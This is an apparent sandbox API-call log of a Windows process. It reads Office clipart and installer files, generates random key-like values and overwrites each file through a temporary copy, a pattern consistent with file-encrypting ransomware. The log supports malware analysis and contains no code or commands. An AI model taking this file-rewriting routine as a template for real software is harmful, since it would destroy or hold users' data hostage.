	[0279.615] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0279.615] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e5d94, lpOverlapped=0x0) returned 0
	[0279.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0279.616] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e5bf4 | out: lpMode=0xc0001e5bf4) returned 0
	[0279.616] GetFileType (hFile=0x19c) returned 0x1
	[0279.616] GetFileType (hFile=0x19c) returned 0x1
	[0279.616] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001e5c44 | out: lpFileInformation=0xc0001e5c44) returned 1
	[0279.616] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001e5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e5c28) returned 1
	[0279.617] ReadFile (in: hFile=0x19c, lpBuffer=0xc000070000, nNumberOfBytesToRead=0xf9c, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000070000*, lpNumberOfBytesRead=0xc0001e5b04*=0xd9c, lpOverlapped=0x0) returned 1
	[0279.662] ReadFile (in: hFile=0x19c, lpBuffer=0xc000070d9c, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e5b04, lpOverlapped=0x0 | out: lpBuffer=0xc000070d9c*, lpNumberOfBytesRead=0xc0001e5b04*=0x0, lpOverlapped=0x0) returned 1
	[0279.662] CloseHandle (hObject=0x19c) returned 1
	[0279.662] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202640 | out: pbBuffer=0xc000202640) returned 1
	[0279.662] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021b1e0 | out: pbBuffer=0xc00021b1e0) returned 1
	[0279.662] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082a01 | out: pbBuffer=0xc000082a01) returned 1
	[0279.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a5c9016cb3b9109371cf43ebf0084111" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a5c9016cb3b9109371cf43ebf0084111"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.663] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e5c04 | out: lpMode=0xc0001e5c04) returned 0
	[0279.663] GetFileType (hFile=0x19c) returned 0x1
	[0279.663] WriteFile (in: hFile=0x19c, lpBuffer=0xc000071000*, nNumberOfBytesToWrite=0xe9c, lpNumberOfBytesWritten=0xc0001e5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000071000*, lpNumberOfBytesWritten=0xc0001e5bec*=0xe9c, lpOverlapped=0x0) returned 1
	[0279.665] CloseHandle (hObject=0x19c) returned 1
	[0279.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0279.669] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0279.669] GetFileType (hFile=0x19c) returned 0x1
	[0279.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a5c9016cb3b9109371cf43ebf0084111" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a5c9016cb3b9109371cf43ebf0084111"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0279.669] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e5d74 | out: lpMode=0xc0001e5d74) returned 0
	[0279.669] GetFileType (hFile=0x120) returned 0x1
	[0279.669] ReadFile (in: hFile=0x120, lpBuffer=0xc0002aa000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002aa000*, lpNumberOfBytesRead=0xc0001e5bd4*=0xe9c, lpOverlapped=0x0) returned 1
	[0279.669] WriteFile (in: hFile=0x19c, lpBuffer=0xc0002aa000*, nNumberOfBytesToWrite=0xe9c, lpNumberOfBytesWritten=0xc0001e5b74, lpOverlapped=0x0 | out: lpBuffer=0xc0002aa000*, lpNumberOfBytesWritten=0xc0001e5b74*=0xe9c, lpOverlapped=0x0) returned 1
	[0279.671] ReadFile (in: hFile=0x120, lpBuffer=0xc0002aa000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002aa000*, lpNumberOfBytesRead=0xc0001e5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0279.671] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a5c9016cb3b9109371cf43ebf0084111" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a5c9016cb3b9109371cf43ebf0084111")) returned 0
	[0279.671] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a5c9016cb3b9109371cf43ebf0084111" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a5c9016cb3b9109371cf43ebf0084111")) returned 0
	[0279.671] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a5c9016cb3b9109371cf43ebf0084111" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a5c9016cb3b9109371cf43ebf0084111")) returned 0x20
	[0279.671] CloseHandle (hObject=0x120) returned 1
	[0279.672] CloseHandle (hObject=0x19c) returned 1
	[0279.672] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\a5c9016cb3b9109371cf43ebf0084111" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\a5c9016cb3b9109371cf43ebf0084111")) returned 1
	[0279.674] VirtualFree (lpAddress=0xc006efa000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0279.674] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0280.317] SetEvent (hEvent=0x190) returned 1
	[0280.317] VirtualFree (lpAddress=0xc006ef4000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0280.317] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0280.532] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0280.745] VirtualFree (lpAddress=0xc006ef0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0280.745] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0280.746] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e000, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e9d94, lpOverlapped=0x0) returned 0
	[0280.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0280.746] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e9bf4 | out: lpMode=0xc0001e9bf4) returned 0
	[0280.746] GetFileType (hFile=0x120) returned 0x1
	[0280.746] GetFileType (hFile=0x120) returned 0x1
	[0280.746] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0001e9c44 | out: lpFileInformation=0xc0001e9c44) returned 1
	[0280.747] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0001e9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e9c28) returned 1
	[0280.747] ReadFile (in: hFile=0x120, lpBuffer=0xc0002d6000, nNumberOfBytesToRead=0xc24, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002d6000*, lpNumberOfBytesRead=0xc0001e9b04*=0xa24, lpOverlapped=0x0) returned 1
	[0280.870] ReadFile (in: hFile=0x120, lpBuffer=0xc0002d6a24, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002d6a24*, lpNumberOfBytesRead=0xc0001e9b04*=0x0, lpOverlapped=0x0) returned 1
	[0280.870] CloseHandle (hObject=0x120) returned 1
	[0280.871] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202780 | out: pbBuffer=0xc000202780) returned 1
	[0280.871] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021b2c0 | out: pbBuffer=0xc00021b2c0) returned 1
	[0280.871] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082c01 | out: pbBuffer=0xc000082c01) returned 1
	[0280.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7e6027e20b33c57f50b24c5c3847f63" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7e6027e20b33c57f50b24c5c3847f63"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0280.872] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e9c04 | out: lpMode=0xc0001e9c04) returned 0
	[0280.872] GetFileType (hFile=0x120) returned 0x1
	[0280.872] WriteFile (in: hFile=0x120, lpBuffer=0xc000300000*, nNumberOfBytesToWrite=0xb24, lpNumberOfBytesWritten=0xc0001e9bec, lpOverlapped=0x0 | out: lpBuffer=0xc000300000*, lpNumberOfBytesWritten=0xc0001e9bec*=0xb24, lpOverlapped=0x0) returned 1
	[0280.874] CloseHandle (hObject=0x120) returned 1
	[0280.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0280.877] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0280.877] GetFileType (hFile=0x120) returned 0x1
	[0280.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7e6027e20b33c57f50b24c5c3847f63" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7e6027e20b33c57f50b24c5c3847f63"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0280.877] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e9d74 | out: lpMode=0xc0001e9d74) returned 0
	[0280.877] GetFileType (hFile=0x19c) returned 0x1
	[0280.878] ReadFile (in: hFile=0x19c, lpBuffer=0xc000306000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000306000*, lpNumberOfBytesRead=0xc0001e9bd4*=0xb24, lpOverlapped=0x0) returned 1
	[0280.878] WriteFile (in: hFile=0x120, lpBuffer=0xc000306000*, nNumberOfBytesToWrite=0xb24, lpNumberOfBytesWritten=0xc0001e9b74, lpOverlapped=0x0 | out: lpBuffer=0xc000306000*, lpNumberOfBytesWritten=0xc0001e9b74*=0xb24, lpOverlapped=0x0) returned 1
	[0280.880] ReadFile (in: hFile=0x19c, lpBuffer=0xc000306000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e9bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000306000*, lpNumberOfBytesRead=0xc0001e9bd4*=0x0, lpOverlapped=0x0) returned 1
	[0280.880] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7e6027e20b33c57f50b24c5c3847f63" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7e6027e20b33c57f50b24c5c3847f63")) returned 0
	[0280.880] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7e6027e20b33c57f50b24c5c3847f63" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7e6027e20b33c57f50b24c5c3847f63")) returned 0
	[0280.881] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7e6027e20b33c57f50b24c5c3847f63" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7e6027e20b33c57f50b24c5c3847f63")) returned 0x20
	[0280.881] CloseHandle (hObject=0x19c) returned 1
	[0280.881] CloseHandle (hObject=0x120) returned 1
	[0280.882] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7e6027e20b33c57f50b24c5c3847f63" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7e6027e20b33c57f50b24c5c3847f63")) returned 1
	[0280.883] VirtualFree (lpAddress=0xc006eee000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0280.884] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0281.026] VirtualFree (lpAddress=0xc006eec000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0281.027] SetEvent (hEvent=0x17c) returned 1
	[0281.027] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) returned 0x0
	[0281.605] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0xffffffff) 

Thread:
	id = 97
	os_tid = 0x658

	[0235.786] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x7070bffe40, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x7070bffe40*=0x178) returned 1
	[0235.786] VirtualQuery (in: lpAddress=0x7070bffe60, lpBuffer=0x7070bffe60, dwLength=0x30 | out: lpBuffer=0x7070bffe60*(BaseAddress=0x7070bff000, AllocationBase=0x7070a00000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0235.786] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x17c
	[0235.786] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x180
	[0235.786] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0236.143] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0236.356] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0236.441] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0236.492] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0236.605] SetEvent (hEvent=0x190) returned 1
	[0236.605] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042" (normalized: "c:\\588bce7c90097ed212\\1042"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.606] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042" (normalized: "c:\\588bce7c90097ed212\\1042"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.606] VirtualAlloc (lpAddress=0xc0001f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f6000
	[0236.606] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.608] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.608] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2ae9af4c, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x328f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.608] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.608] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.608] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.608] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.608] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.608] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6)) returned 1
	[0236.609] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.609] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58)) returned 1
	[0236.609] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.609] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2ae9af4c, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x328f)) returned 1
	[0236.609] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.609] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.610] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0236.848] SetEvent (hEvent=0x188) returned 1
	[0236.849] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0236.933] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0236.971] SetEvent (hEvent=0x190) returned 1
	[0236.971] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046" (normalized: "c:\\588bce7c90097ed212\\1046"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046" (normalized: "c:\\588bce7c90097ed212\\1046"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.973] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.973] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.973] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2bf46414, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.973] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
